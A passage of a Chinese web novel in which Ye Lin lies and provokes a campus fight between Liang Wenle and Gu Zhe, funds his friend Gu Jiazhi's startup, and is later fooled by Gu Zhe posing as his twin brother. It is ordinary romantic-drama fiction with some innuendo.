可能是因为他不喜欢梁文乐,只是把这种事情当成工作,所以非常非常地痛苦。 叶临哀叹一声,都想放弃劝梁文乐上进的计划,乞求梵星快点实现盈利,让他缓一缓。 他的目光落在斜上角顾嘉致的位置。 这人连续好几天都没来上课,专心忙碌应酬,忙得脚不沾地,都好久没跟他亲密了。 还是顾嘉致好啊,知道节制,跟他更为契合。 叶临拿出手机,想问问梵星的近况,结果看到沈邵给他发消息。 【你好久没来了,今天晚上我做了饭菜,要吃吗?】 【少来,最近没心情跟你做那种事情。】 【就是单纯的吃饭。】 【沈邵,我知道你是什么货色。别人被你蒙蔽,我可不会上当。】 【你这样说我好伤心啊,是梁文乐最近对你太好了吗?】 【你说说他哪里好,我可以照着学的。】 【滚!】 既然沈邵降级,就没心思浪费在他身上。 叶临发消息问刘闻,终于得到一点好消息: 梵星开始盈利,但很少,每个月才四五十万,不过后续还会增长。 他发消息夸赞刘闻很厉害,再鼓励他们继续努力。 按照原著的记载,下个月盈利应该接近百万。虽然距离回本还有很遥远的距离,但是至少有盼头。 好吧,只要梵星以后成长起来,他就可以实现经济自由,再也不用靠梁文乐。 叶临安心地放下手机,忽然感觉到耳边有热气,像是夏日蒲公英飞过来,痒痒的,紧接着就听到梁文乐在小声说话。 “你怎么焉焉的,好没活力啊,是因为什么事情不高兴啊?” 为什么没活力,还不是因为你! 罪魁祸首,居然还敢问? 神经病! 叶临在内心骂了很多句,眉眼都垮下来,但还是要扭过头去,扯出笑容,语气温和地回答。 “就是不太喜欢上课。” “这样啊,那行吧,明天的早课你不用来了,但是下午要来陪我。” “文乐,你对我真好!” “那你是不是应该给点表示?” 梁文乐凑过去,意思很明显。 叶临惦记着讲台上的老师,还是小声劝。 “文乐,我晚上回去帮你那个,在这里还是算了。” “行吧。” “对了,你注意到顾嘉致没有,他最近都不来上课!”梁文乐打开手机,点开顾嘉致的页面,递过去,谈论起自己好朋友的八卦。 “我眼里只有文乐,没有注意到哎。”叶临摇摇头,眼神真挚懵懂他觉得扮演深情人设的技术,已经可以拿奖了。 “好吧,我跟你说。他最近被家里断了经济来源,好像是要去小公司创业,真是奇怪!”梁文乐无奈地摇头,翻看顾嘉致朋友圈里的梵星广告:“好像很辛苦,不知道他在想什么,毕业进顾氏不好吗?” “可能他有说不口的原因吧,文乐你最近想去你家的公司实习吗?” “太早了吧,我才不想辛苦,大四再说。” 叶临暗骂他没上进心,还是暂时打消这个念头。 他不想反复念叨这件事,从而让梁文乐心生讨厌。 毕竟人都喜欢伴侣顺着自己的,劝上进都是爸妈做的事情,行为互调就会显老,招人讨厌。 放学后,他们朝着停车场过去。 外面天色依旧阴沉,灰蒙蒙的,风还是没停,吹得人脸干。 叶临刚走到路口,感觉不对劲,看向梁文乐的背后:“你书包呢?” 梁文乐惊叫起来:“啊,我忘记了,应该是在教室吧。” 叶临没等他吩咐,就熟练地让他在原地等,自己往回走,替大少爷拿遗失的东西。 梁文乐很满意他的贴心行为,在路边的长椅坐下来等,还发消息跟表姐分享恋爱日常,低着头轻笑。 被爱就是可以笨一点啊,哪怕忘性大,乱丢东西,都会有人替他收拾,这是他在叶临这里可以行驶的特权。 记得前一天,叶临就会帮他提前整理书包,放在床边的柜子。书包里放了他需要用的东西,还有必做事项的便签,免得他忘记。 回去的路不远,但叶临难得有可以清净的时光,故意走慢了点。 只不过刚到教学楼门口,他就遇到了不速之客。 顾柘正站在门口,眼神阴鸷地看着他。 叶临想绕路走,却被拦住。 刚开始他还分不清顾柘和顾嘉致,但只要顾柘对他展现出恶意的眼神,就能立刻认出来。 “这么久,你都没有离开嘉致?” “顾大少爷你很闲,但我时间有限,让开!” “我真没想到,你居然带着嘉致创业,你真觉得梵星这种小公司可以起来吗?” “让开,我不想打你。” 果然,怨气会让人变得勇敢。 平时他惦记顾柘是大反派的身份,说话还算客气礼貌,但是今天因为梁文乐生来的怨气深重,气场就格外低。 “你可以试试。” “行吧顾柘,我打不过你,那你有什么事呢?” “远离顾嘉致,劝他回家。” “上次12亿我都没要,还不能证明我的决心吗?别白费力气了。” 叶临懒得跟他掰扯,转身就想回去。 结果顾柘却叫住他,让他浑身的寒毛都立起来。 “梁文乐就在这附近,你说我告诉他,你跟顾嘉致同居过,他会怎么想?” “艹!” 叶临转过身看他,又气又无奈,只能试图劝说。 “拜托,是你把亲弟弟逼向创业这条路的。就算我远离他,他也会呆在梵星,不会回去的。” “如果不是你诱惑,他应该会安安稳稳地读完书,毕业进公司,怎么可能变成现在这个样子?” “你又不是他爹,只是哥而已,甚至只是个大了几分钟的哥哥,凭什么管他这么严,有病啊!” 顾柘说不通,只好伸出手去抓。 叶临试图躲开,进行反抗。 但顾柘的身手确实厉害,跟沈邵一样灵活,但是比沈邵狠厉多了,一下就制住他。 顾柘将他的双手反剪,以一种拷问犯人的姿态,强行将他拴在身边。 沈邵学的擒拿,那顾柘应该是进修过抓捕犯人的专业,威力完全不亚于警察。 叶临快疼死了,只好威胁:“你再不放开我,我就叫人了!” 顾柘将他往教学楼里拖,想找个没人的地方好好教训。 结果这个时候,梁文乐出现在不远处,刚好注意到他们,快速朝这边跑过来。 叶临见状,立即大喊:“文乐救命啊,他刚刚说要把我带进教学楼欺负,好可怕!” 顾柘脸色微变,伸手去捂,却被咬住,食指侧面瞬间就浮现出红印。 叶临尝试挤眼泪,但没有落泪。 梁文乐到了跟前:“顾柘,怎么是你!” 顾柘放弃捂住叶临的嘴:“我有话要问他。” 叶临挤不出眼泪,但努力用哭腔说话:“文乐你别信他的,他刚刚对我表白,说喜欢我。 可我是文乐的人,就拒绝他了。结果他就想在没人的地方强迫我,好可怕!” 顾柘从未见过这种无赖的人,眉心微蹙,沉声警告:“闭嘴,别胡说八道!” 30-40 第31章 第31章“你连小三都不算”…… 梁文乐本来就讨厌顾柘,听到叶临的话,第一反应就是朝着顾柘出拳。 顾柘反应迅速,连忙躲开,试图解释:“你别听他胡说八道,我跟他没关系!” 梁文乐已经做出专业格斗的手势,下盘很稳,眼神坚定,像只蓄势待发的猎豹,即将跃出攻击猎物:“放开他!” 叶临见状,大脑快速运转,心生一计,在顾柘耳边低声道:“你把那些事情抖出去,我就说是你。” 顾柘眼神微变,脸色变得难看,瞬间就明白他的意思:只要自己敢把叶临和顾嘉致的事情抖出去,那么叶临就会死咬他,毕竟他跟弟弟长得一模一样。 梁文乐就是个愚蠢的恋爱脑,到时候绝对听信叶临的谗言,误会他和叶临有情。 叶临注意到顾柘身上的变化,就知道局势已经逆转。 一部男频爽文塑造的高智大反派,还是好对付的。现在是他掌握着顾柘的弱点,只要顾嘉致在身边,他根本不用惧怕顾柘。 梁文乐注意到他们靠得很近,也没有仔细思考人体运动的原理,下意识就觉得是顾柘强行拉近叶临,怒火上涌。 没等顾柘反应过来,梁文乐就应该到了跟前。 他为了自保,只能松开叶临的手,双手接住梁文乐的拳头,用力送回去。 叶临得到解脱,立即退后好几米,避开战场。 梁文乐还在跟顾柘打,目的已经变成纯粹地发泄,想要通过这种形式消解心中的怒气。 “文乐,他刚刚捏了好久,疼死我了,手腕都红了!”叶临说话故意软绵绵的,像受气的小娇夫,要扑到老公怀里求庇护。 “还有啊,他说我的耳垂很好看,就趁我没办法反抗的时候亲了。”叶临抬手去捏耳垂,这里一下就红起来。 “我以前就听嘉致说你这个人猥琐恶心,没想到居然做出这种事情!”梁文乐攥紧拳头,拿出了揍死人的劲,拳拳生风,几乎都对准太阳穴,咽喉,脾脏这些要害位置。 “我没有,你少听他胡说八道!”顾柘惦记到梁家对梁文乐的宝贝程度,还是控制着手上的力度,没有敢下死手。 “你这个道德败坏的烂人,我打死你!” “梁文乐,你冷静点!” 叶临看他们的战斗气势越来越强,恨不得拍掌叫好,找个高台坐下来,捧着瓜子边吃边看。 这实在是太爽了,两个都是他讨厌的人,最好都重伤进医院,真是活该! 打啊,再打狠一点! 叶临在心里预设着他们两个人的出拳,默默进行点评。 他觉得梁文乐的出拳慢了一点,而顾柘的反击到位,应该偏一点。如果符合预期,两个人都会骨折破相,那就很有趣了。 “文乐,你要加油啊,帮我打死他!” “呜呜呜呜,我刚刚真的好怕好怕。” 叶临说完这些话,都快被自己夹着嗓子说话恶心到,连忙扭过头去做呕吐状。 老实说,之前他看到某些男同也会夹着声音说话,当时无法理解,甚至鄙夷。 可是今天他居然也能熟练地说出这种话,是被回旋镖击中了吧? 甚至有点打脸。 但,这都是梁文乐害的! 叶临很少会内耗,只是怀疑了几秒钟,很快就把责任推到别人身上。 对他来说,遇到事情就是要向外攻击,才会活得潇洒自在,对内归因,只会万分痛苦。 但看来看去,还是顾柘赢面大。还好他没有跟顾柘硬刚。 大学里有两个帅哥在打架,很快就吸引了周围的同学,都自发地围成圈,远远地观赏讨论。 在路人视角里,两个高帅哥在打架,旁边还站着稍矮一点的,应该就是三角恋了。 有人看到顾柘的脸,小声讨论:“唉,这两个人有点眼熟,好像是朋友吧!” 叶临听到声音,扭头去看,居然已经拿出手机来拍,镜头还对着他,立即走过去打招呼:“同学你好,别拍了别拍了。” 被他劝阻的人放下手机。 有女生问:“他们是为了你打架吗?” 叶临看到是女生提问,点点头示意。 女生差点尖叫起来,但还是捂住嘴,眉眼弯起来,笑得略显邪恶。 叶临感觉她的表情诡异,但没有深究。 顾柘注意到人群逐渐变得密集,只好朝着缺口处移动,试图找机会离开。 梁文乐性格幼稚,已经被叶临的话打了鸡血,步步紧逼,偏要这个时候证明自己的男友力。 两个人都挂了彩,多了几道血痕,手肘和膝盖处的布料已经粘上灰尘。 教学楼前的空地不大,很快就站满了人,有些还拿着零食,边吃边看。 两个富少为爱互殴的戏码太有趣了,没有路人出手制止。 叶临见人越来越多,不想把事情闹大,只好走到梁文乐附近,假情假意地劝:“你们不要打了,传出去不好。” 这时周围的人都开始起哄,拿出手机录像,欣赏狗血戏剧。 梁文乐热血上头,还是不听劝。 顾柘没办法,擦掉嘴边的血迹,朝着他的左边脸颊揍了一拳。 趁着梁文乐因为疼痛分神,得以迅速往后退。 叶临反应迅速,赶紧站到梁文乐的面前,堵住追顾柘的去路,低声关心:“文乐,你没事吧?” 顾柘难以置信地看着叶临的背影,都没想到这人会配合自己。但这里确实不能久留,连忙混进人群中,隐去身影。 梁文乐感觉到左脸肿起来,连忙去摸叶临的口袋:“镜子呢,快给我!” 叶临没带,只好把手机打开,让他对着前置摄像头检查伤势。 其他的痕迹都好说,但左脸肿起来,两边脸大小不一,就显得人畸形丑陋。 梁文乐咬牙切齿:“我要弄死他!” 叶临看着周围的人:“文乐,我们还是先回去吧,被围观不好。” 梁文乐骂骂咧咧地被他拽走,先是进了教学楼拿包,才去停车场。 回去的路上,梁文乐都坐在副驾驶座上照镜子,担心自己的左脸,骂了好几百句都不嫌多,还要打电话挨个跟朋友们抱怨。 叶临坐在驾驶座的位置开车,无奈地叹气,认真履行男友任劳任怨的职责。 当电话拨到顾嘉致的时候,好久都没接通。 梁文乐将手机砸在地上,大声骂起来:“气死我了!顾嘉致怎么不接电话,忙什么呢!” 以往他要是打电话给顾嘉致吐槽顾柘,对方肯定会骂得比他起劲,末尾还要补上一句,“太过分了,居然敢打我们文乐!” 叶临想到忙于应酬的顾嘉致,也不能让他被打扰,只好出声帮骂:“文乐,你放心好了,这个伤很快就会恢复的。顾柘真不是人,居然打你,真该死!” 梁文乐扭头给他看脸,忧心忡忡地问:“我现在不丑吧?” 叶临好想大声嘲笑,但还是不敢,尽力保持平静:“不丑不丑,文乐最好看了!” 梁文乐又想到顾柘那个贱货居然亲了叶临,气愤地抓座椅扶手:“你回去就洗澡,尤其是耳垂要擦干净,气死我了!” 叶临连声答应,只打算回去随便糊弄几下。 脸上受伤见不得人,梁文乐就向学校请假七天,要呆在家里休息。 他每天都会精心敷药,坚持用美容产品,加速恢复。 叶临已经熟练地帮他使用各种美容产品,以及耐心地敷药。他很乐意做这些事情,总比被梁文乐索取好。 午后,他们都会移动到半圆形的大阳台。 这里放着两个白色躺椅,淡蓝色遮阳伞,圆形小桌子,复古型大型音响。 两杯颜色清新的特制美颜水,外加螺旋心形吸管,压着精致花边餐布。 楼下有大片的黄色玫瑰花丛,是精心培育的品种,朵朵都如碗口大小,圆润饱满,花瓣层数多,散发着浓郁的香味。 风拂过时,会在浓绿的玫瑰花丛掀起阵阵波浪,像是临着绿色的海洋,尽享柔和的风。 梁文乐喜欢敷着面膜,躺在这里晒太阳,偶尔喝喝冰镇的美颜水,再听听古典音乐。 叶临在旁边躺着,不需要做事,心里也舒服。哪怕是以前不喜欢古典音乐,现在也觉得如听仙乐。 浪漫柔和的音乐,像是一双手将他们拉入美好的童话世界:这里只有悠然闲适,梦幻绚丽,没有疲惫烦躁,暗淡单调。 不知不觉间,都快要睡过去。 叶临忽然觉得这样的日子还挺好,可以一直过下去。 可是没多久,就听到有人急匆匆地上楼,脚步声急促又沉重。 他睁开眼看向房间内,总有种不好的预感。 果然,一对打扮低调奢华的中年夫妇出现在视野中。 女生金发碧眼,穿着蓝色挂脖裙,而男子黑发中分,穿着黑色西装。 男人走到阳台,只扫了叶临一眼,就看向闭着眼的梁文乐,语气严肃地直呼其名:“梁文乐!” 梁文乐听到声音立即坐起来,抬头看了这对夫妇,连忙叫好:“妈咪,爸!” 女生眯起眼睛笑起来,打量着叶临。 叶临立即反应过来,连忙站起来跟长辈问好,很快移动到旁边,不敢干扰梁父跟梁文乐说话。 梁父不苟言笑,拿出手机放在小桌上,屏幕播放着梁文乐和顾嘉致打架的视频,还有各种关于三角恋的言论。 梁文乐看了视频,下意识抱怨道:“那是顾柘先惹我的,你应该去梁家帮我要个说法!” 梁父没说话,就板着脸。 气氛忽然变得阴沉,外面的阳光都不再明媚,像是快要下暴雨。 梁母柔声劝道:“宝贝,在学校跟人打架是不对的,而且你在视频里说了好多脏话,这样不好。” 梁父表情冷漠:“让你去学校学习,经常旷课就算了,就知道惹事。这次的事情已经压下去了,但影响还是很不好。 你还好意思让我去顾家要说法,顾柘从小懂事听话,分明就是你先动手!” 梁文乐看向旁边的叶临:“不是的,不信你问叶临,他可以为我证明,是顾柘先动手!” 叶临心说,“你小子闯祸别拖我下泥潭啊”,但面上还是要维持淡定,准备开口。 可是没等他说话,梁父就呵斥道:“你这小男朋友当然会为你撒谎,还好意思要他为你作证!” 梁文乐撤下面膜,快速跑到梁母旁边,抓着母亲的衣袖撒娇:“妈咪,你看他,就知道骂我怪我,我脸现在都还在疼,好伤心!” 梁母看到他脸上的痕迹,还是心软,摆摆手示意丈夫;“别骂了,小孩子打打闹闹而已,事情压下去就没事。哎呀,我们宝贝太可怜,都要哭了,来抱抱。” 梁父疼爱妻子,只能无奈叹气。 梁文乐低头矮身扑进梁母怀里,得意地“哼”了一声,看向梁父:“你快走吧,这里不欢迎你,讨厌鬼!” 站在角落里的叶临无奈扶额,他很想远离这种尴尬的场景,但是又怕梁文乐怪他,只能硬撑着。 梁父想骂又不好开口,继续为难他:“我看你就是谈恋爱昏了头,这几天呆在家里好好冷静,少跟你那个小男友出去鬼混。” 梁文乐有了母亲的支持,自信地昂起头反驳:“我才不要你管我!” 梁父看向旁边的叶临。 叶临巴不得有个机会休假,故作发抖害怕的样子,颤着声音说道:“伯父,你说的对,是我带坏文乐。我现在就走,过段时间再来找文乐。” 梁父满意地点头:“你这个男朋友还算通情达理。” 叶临脚底抹油,迅速溜走。 隐约听见梁文乐在后面喊他,紧接着就是父子的吵架声,但都与他无关了。 他现在归心似箭,只想快点离开别墅,回到以前的公寓,享受自由的生活。 反正有惧怕梁父这个理由,他可以顺理成章地躲梁文乐几天,乐得悠闲。 离开很久了,公寓内部还是保持原本的陈设。他的卧室一尘不染,看得出来会经常打扫。 他记得刚开始穿书,住着昂贵地段的破旧廉租房,还欠了很多钱,是顾嘉致帮他偿还,还给他住的地方。 一晃都过去好几个月了,回到这里就会勾起以前的回忆。 那时他才不需要早起去上课,每天睡到自然醒,点个外卖就玩手机。 等到顾嘉致回来,还可以一起躺着打游戏。 玩着玩着,可能看对眼,就会做那种事情,水到渠成,自然流畅。 他可以随便发脾气,才不需要考虑顾嘉致的心情,还能使唤顾嘉致。 顾嘉致虽然嘴上骂骂咧咧的嫌弃他,但总是会完成他的要求。 果然,还是在好朋友家里自由快活,比在梁文乐那里当奴才好了几十倍。 叶临在沙发躺下来,忍不住打电话给顾嘉致。 第二次才接通,声音听起来非常疲惫。 “喂,有事吗?” “你忙完应酬了吗?” “刚忙完,准备睡觉了。” “啊,难道昨天晚上没有睡觉吗?” “昨天通宵跟客户喝酒,现在才忙完合同。” “好吧,那你先睡。”叶临听着声音就能想象出顾嘉致满脸黑眼圈,要死不活的惨状:“有些酒你可以让底下的人喝啊,很多事情也不用亲自去忙吧。” “公司刚开始人手不够,而且人家看见我才愿意签合同,没办法。”顾嘉致困得眼睛都睁不开,可是听见叶临的声音,还是要强行打起精神。 “你快睡吧,网上都说通宵熬夜会猝死的。”叶临微微握紧手机,他真的很担心。 同时还埋怨沈邵,为什么不给顾嘉致多招几个人,非要把顾嘉致累成这副可怜的样子。 “那你打电话做什么?”顾嘉致太久没有听见叶临的声音,实在不舍得挂断,还想再听。 “没事。”叶临说完也没有立即挂断,他总感觉让顾嘉致受罪,良心不安。 毕竟在他的记忆里,顾嘉致一直是个嘴硬心软的大好人。 “你在哪里,还是姓梁的家里?” “没有,我回公寓了。你每天都会请人打扫我的房间啊,看着好干净。” “你在公寓!” “对啊,我要在这里过夜,暂时不想回去。” “等等!我现在就回去。” “啊,那你会不会” 叶临刚想劝他睡觉,可是电话很快就挂断,而且打不通。 顾嘉致给他发消息,已经买了机票,预计晚上十点就到,让他等等。 叶临查了机票信息,居然是经济舱。 以前顾嘉致都是坐头等舱,甚至是私人飞机,可是现在只能坐经济舱。 被家里断了经济来源,梵星又没挣钱,他为了贴补,还得变卖自己的资产,肯定很缺钱。 做兄弟能做到顾嘉致这个地步,真的很仗义了。 他连忙给顾嘉致转了两千万,要求顾嘉致赶紧换成头等舱,不要去经济舱受罪。 顾嘉致没回消息,也不知道有没有换机票。 叶临越想越生气,干脆给沈邵打电话。 对方一接通,说话就是阴阳怪气。 “你不是被梁文乐迷得失了神志,干嘛还给我打电话?” “沈邵,你说话正经点,我有事找你。” “听声音,你不在梁文乐的别墅。那你跑到外面给我打电话,不怕他生气吗?” “公司有钱,你怎么不多给市场部招点人,就只会让顾嘉致受累。他昨天通宵谈业务,真的很辛苦,会有生命危险的!” “原来是这个。公司哪里有钱,你投进来的钱大部分都交给研发部,没多少分给其他部门了。” “怎么可能,研发部凭什么要最多的钱?” “采购设备,招揽技术人才。搞科创就是很费钱,梵星研究的是前沿领域,耗资是一般产品是十倍。但一旦成功,未来的专利收费就很多了。” “烦死了,我又听不懂这些,说人话。” “总之就是,公司没钱给市场部。而且我看顾嘉致挺喜欢做业务的,他年纪轻,精力足,完全不是问题。” “那你说,还要多少钱,才给顾嘉致招人分担任务,我马上转给你。” “四千万,应该够了。”沈邵故意夸大金额,想让叶临知难而退。 “转过去了。以后,我再听到顾嘉致因为业务通宵的消息,我就找你麻烦!” 叶临初中就喜欢跟人称兄道弟,现在也很看重兄弟情,痛快转钱,没有一丝犹豫。 其他人累死不要紧,他的兄弟顾嘉致可不能受累,要钱就得转。 沈邵看到有零有整的四千万,有些绷不住。 四千万只是夸大的说法,两千万管够。还以为抠门的叶临不愿意,结果为了顾嘉致,眼皮都不眨一下? 他想到自己朝六晚九地在公司里奋斗,偶尔也会通宵,都没有要一分钱,更不会招人帮忙分担。 这些,叶临问都不问一句,就只知道关心顾嘉致那个没经验的后辈。 在外面谈业务辛苦,难道在公司里管理就很容易吗? 而且,前几天他邀请叶临来家里吃饭,都被狠心拒绝。 顾嘉致在外地,只是抱怨两句,他就心疼上了? 沈邵心中醋海翻波,下意识地认为:自己的待遇可以比不上正牌男友梁文乐,但绝对不能输给没名没分的顾嘉致。 同样都是见不得光,需要藏着的关系,凭什么顾嘉致就能比他多得叶临的关心? 这根本不公平!! 叶临对待他和顾嘉致,应该一碗水端平才对。 沈邵结束完复杂的心路历程,不死心地对着电话质问起来:“你可真心疼顾嘉致,之前我跟你要钱,你推三阻四。顾嘉致通个宵,就马上打四千万过来!” 叶临听他抱怨,有点头疼:“那你上次没有正当理由啊,我为什么要*给你? 而且顾嘉致跟我是过命的交情,你算是什么,你连小三都不算,少在那里入戏了!” 沈邵心口堵得厉害,不死心地继续问:“那吃饭呢,我只要求你过来吃个饭而已,你都不愿意?” 之前总被沈邵算计,怎么会对他有好感, 叶临感觉自己遇到神经病:“上次去你那里吃饭,是看在顾嘉致的面子上,大家吃饭聊创业可以激励人心。 不会以为我愿意去你那里吃饭吧?那你可真是高看自己了,好笑!” 这段话刁钻利害,比万箭穿心还疼,将人伤的体无完肤。 沈邵沉默片刻,冷冷道:“叶临,你可真狠啊,最好别让我逮着机会,不然我肯定让你知道厉害。” 说罢他就挂断电话,花钱给市场部招了几个厉害人才,帮顾嘉致分担。 虽然做了事,但沈邵只会把功劳归咎在自己身上,才不会告诉顾嘉致,这是叶临心疼他才投进来的钱。 他得不到的偏爱和关心,顾嘉致也别想知道! 入夜后,窗外的高楼大厦灯光辉煌,街道上人流如织。 繁华和喧嚣之上,是空旷寂寞的公寓楼。 客厅只开了内嵌灯,光线昏暗柔和,适合睡觉。 大理石地砖上在灯光下看起来色泽如玉,纹理细腻。 叶临盖着薄被子在沙发上玩手机,感觉到困意,还是强撑着看时间,发现才是八点钟,还要过很久才到十点。 顾嘉致为公司奉献太多了,理应得到看重。 他打算今天在玄关处迎接顾嘉致,再说些知心话增进感情。 可是没多久就睡过去。 睡梦中隐约听见响动,紧接着就是电子锁开门的嘀声。 叶临起身去看玄关,被子随着滑落,露出之前顾嘉致买的星星纹睡衣。 站在玄关的男人看见他睡眼惺忪,头发凌乱,一时愣住,没有前进。 叶临揉了揉眼睛,看轮廓大概是顾嘉致,立即飞奔过去。 到了面前就踮起脚,给了顾嘉致一个大大的拥抱,头靠着肩膀,声音慵懒地抱怨:“我等你好久,了,你才回来。” 叶临刚睡醒,说话不清楚,听起来黏糊糊的:“你来的时候肯定很堵车吧,睡觉了吗,饿不饿,厨房里有吃的。” 男人僵直了身体,没有回答。 第32章 第32章“一直在一起吗?” 顾柘摸不清弟弟的动向,就想来大学附近的公寓楼蹲人,没想到会遇到叶临。 叶临身上散发着淡淡的香味,整个人是放松地靠着自己,像个大型布偶,软软的。 跟平时见到的虚伪狡猾完全不同,现在乖巧软萌,像个盼望主人回家的心碎猫猫。 果然,叶临是个戏精。就是凭借这种手段,才把弟弟迷得智障。 顾柘内心鄙夷,又要抱住他,尽量学着弟弟的语气解释:“谁知道你会等我,路上确实堵了会儿,所以来晚了。饭就不用吃了,你很困吗,眼睛都睁不开眼了?” 叶临揉了揉眼睛,朝着他伸手:“困死了,快抱我去卧室。” 顾嘉致就心甘情愿地被使唤啊,导致叶临都养成习惯了? 难以想象,脾气暴躁的弟弟,在叶临面前居然会愿意收敛。 顾柘把他抱起来,发现这人好轻,手还自然地搭在自己的肩膀上,是极其信任依赖的姿势。 叶临感觉有点奇怪,搂着他的肩膀,低声嘟囔:“是昨天通宵跟客户谈业务太累了吗,感觉你今天脾气好好。” 原来他演错了,不应该过于顺从。 但是顾嘉致从小就不肯吃苦,离开家里后,居然会愿意为了个小公司通宵谈业务? 顾柘心中骇然,稍微调整自己的面部表情,沉声埋怨:“明明知道我谈业务辛苦,还喜欢折腾我。” 叶临没有回答,呼吸平稳,已经睡过去。 他太过于信任顾嘉致,只要确认自己呆在顾嘉致的身边,就会秒入睡。 顾柘朝着主卧走去,将人轻轻地放下来,观察四周。 黑漆实木衣柜里,大部分都是顾嘉致的冷色调衣服。也有很多是已搭配好,颜色明亮,小一码的衣服。 很明显是叶临的。 其中一套吸引了顾柘的注意力,他抽出来发现是一条无袖纯黑背心,袖口极其宽大,几乎镂空了。 而且下摆还很短,勉强遮住腰。下面搭配一条低腰牛仔裤,松松垮垮的。 光是看到衣服,都能够想到叶临穿着这套,歪头斜躺着,故意凹出某些弧度,尽情展现曲线。 脸上是灿烂明媚的笑容,眼神又无辜,嘴里还要轻轻软软地叫着,“最喜欢你了!” 顾嘉致当然抵抗不住这种诱惑,所以才会被骗去梵星,通宵做苦力。 是故意的吧,叶临就是要穿这些衣服勾引人! 顾柘回过神来的时候,发现自己已经把那件黑色无袖背心捏皱,连忙松开手。 可是他太过用力,背心皱成一团,像是破烂,底下的牛仔裤也难以幸免。 身后传来砸吧砸吧声,叶临像是在梦里吃到了好东西,表情迷醉。 他的手放在被子外面,睡姿不老实,不一会儿就翻身。 很快,被子就掀开半截。 里面的睡衣也没穿好,衣袖和下摆都往上翻。 窄细。修长。 顾柘意识到自己的目光停留得过久,走过去重新把他掖好被子,暗暗骂他睡着了也要耍伎俩。 叶临眉头微皱,嘴唇发颤,恳求道:“文乐,你不要用那个,抵。着。不,不喜欢。” 顾柘听到他这句话,就已经去看嘴唇。 形状完美,比普通男人饱满,还精致好看。 至于他话里的内容,污秽肮脏,不堪入耳。 谁都知道梁文乐是他的男朋友,他们当然会欢好,做出那种事情。 顾柘很想捂住叶临的嘴,等到他的脸颊涨红,双目无神,濒临窒息的时候再松开。 那个时候叶临软弱无力,像条鱼一样往下滑,刚好会被他接住,再仔细检查。 叶临没有再说梦话,睡相很乖。 他的旁边有件顾嘉致的大衣,下意识就去靠,不知道在想些什么,眼皮微动。 依赖感很强,就像是等待主人回家的小狐狸。 顾柘看了好久,暗暗在心里鄙夷他只会用下流的手段吸引人注意力,又没有离开这间房间。 其实顾嘉致不在,他早就应该离去,没必要在这里浪费时间。 但他没有移动,脑子还冒出一个勉强合理的想法:可以假装成弟弟,再从叶临这里套出重要信息,到时候才好想办法劝人回去。 房间里的大灯全部关闭,只留下窗前的一盏小台灯,照出淡黄色的暖光。 顾柘坐在窗边的沙发,逆光看不清脸,像个实验观察者在关注他的试验品。 叶临睡得无知无觉,一夜无梦。 醒过来的时候,感觉自己就像是一个久违充满电量的机器人,又可以重新活动。 他偏头去看旁边,没有看见顾嘉致的身影,于是朝着外面走去。 “顾嘉致你通宵了,不多补补觉吗,就醒了?” “顾嘉致?” “顾嘉致!” 叶临走到客厅发现没人,又跑到厨房,还是没有人。 最后走到书房,才看到顾嘉致穿着睡衣,背对着他,在翻动书架上的书本。 “哇,你小子怎么突然有文化了,大早上要看书?” “我” 顾柘身形一滞,转过身来,故作轻松地回答:“我是想看看,要扔哪些书。” 叶临跑到书桌前,双手撑着桌面,倾身去看书架上的书,认真评价:“书名都是看得懂的,你就比较正常,不像沈邵那个装货,就知道看些莫名其妙的英文书。” 顾柘心说“又不是每个人都像你一样是文盲”,但还是心平气和地附和:“沈邵确实有点毛病。” 叶临惊了,不可置信地看着顾柘:“你跟沈邵吵架了,头一回听你骂他?” 顾柘没想到,他们对沈邵的看法居然不同,连忙找补:“最近在公司业务上跟他意见不同,所以生他的气。” 叶临猛地拍桌,激动道:“对吧对吧,沈邵这个人就是很虚伪了!相信你的实力,你就按照你的想法做吧,兄弟肯定支持你!” 顾柘自信夸下海口:“还是你有眼光,放心好了,梵星有我在,肯定能够发展壮大。” 叶临点点头附和,又催促他:“我肚子饿了,你快点准备早饭。我现在去洗漱,待会儿就要吃到。” 顾柘想开口问他要吃什么,但想到弟弟并不贴心,只好抱怨道:“就知道使唤我,行吧。” 叶临得意地哼着歌离开书房,去了洗手间洗漱。 刷牙的时候,他看着镜子中的自己,总算没有昨天看起来憔悴了。 果然,伺候梁文乐就不是人做的事情。 叶临用力吐掉漱口水,再用毛巾擦拭嘴角。 这时,他忽然想到,刚刚好像没有看见顾嘉致长黑眼圈。 睡一晚上难道就消失了吗? 还是说他没有观察仔细? 又或者说,顾嘉致这种富二代有效果很好的药膏,可以去除黑眼圈? 叶临心有疑惑,离开洗手间,就闻到一股果香味。 香味是从厨房里传出来的,还能听见切东西的声音,应该是顾嘉致在里面折腾。 平常不都是点外卖的,难道顾嘉致现在已经节省到不舍得点了? 叶临推开门走进去,贴近顾柘的后背,探过头往前去看。 居然正在切面包,还抹上果酱? “你做的早饭就是这个啊?” “对。” 顾柘常年在外国读书,早就习惯了这种食物,最多再煎个牛排,来盘蔬菜沙拉。他觉得这样少油少盐,营养健康,还容易保持肌肉。 叶临拿起抹好的面包来吃,嫌弃地皱眉:“算了,你还是别做了。我们吃外卖吧,知道你穷,我来点。” 顾柘切面包的动作停住,很想问顾嘉致已经穷到点不起外卖了吗,但为了隐藏身份,只好保持沉默。 叶临边点外卖,边唠叨:“我昨天给你发了三千万,你不要节省,该花就花。 还有,我也跟沈邵转了四千万,让他多给市场部招几个人,以后你就让底下的人去忙活,别自己受累了。” 居然还给顾嘉致转了三千万,对他这么好吗?还特意花钱多招人,就是为了帮顾嘉致分担? 顾柘仿佛第一次认识叶临,他一直觉得像叶临这种拜金的糖宝,只图钱不图感情,傍上的糖爹没钱了就应该走人。 没想到看到顾嘉致没钱了,还会主动补贴? 叶临点了自己和顾嘉致都喜欢吃的食物,又忍不住吐槽梁文乐:“我和你说件好笑的事情。几天前顾柘那个脑瘫来学校找我,还想威胁我! 结果,我煽动梁文乐跟他打了一架,他被打得好惨啊,而且在整个大学都丢脸了。” 顾柘说不出话,甚至很想纠正语句,明明梁文乐受伤比他更严重,怎么可能是他丢脸? 叶临捧腹笑了一会儿,发觉不对劲,抬头去看:“你怎么回事,你不是很讨厌顾柘吗?我跟你说好笑的事情,你都不笑!” 顾柘回过神来,连忙做出苦恼的表情:“下周有个客户很难搞,但是对公司很重要。我太愁了,都没心情听他的事情。” 叶临想到他在酒桌上跟各路老板喝酒做保证,肯定非常辛苦,于是轻轻地拍他的肩膀安慰:“没事,你可以做到的。 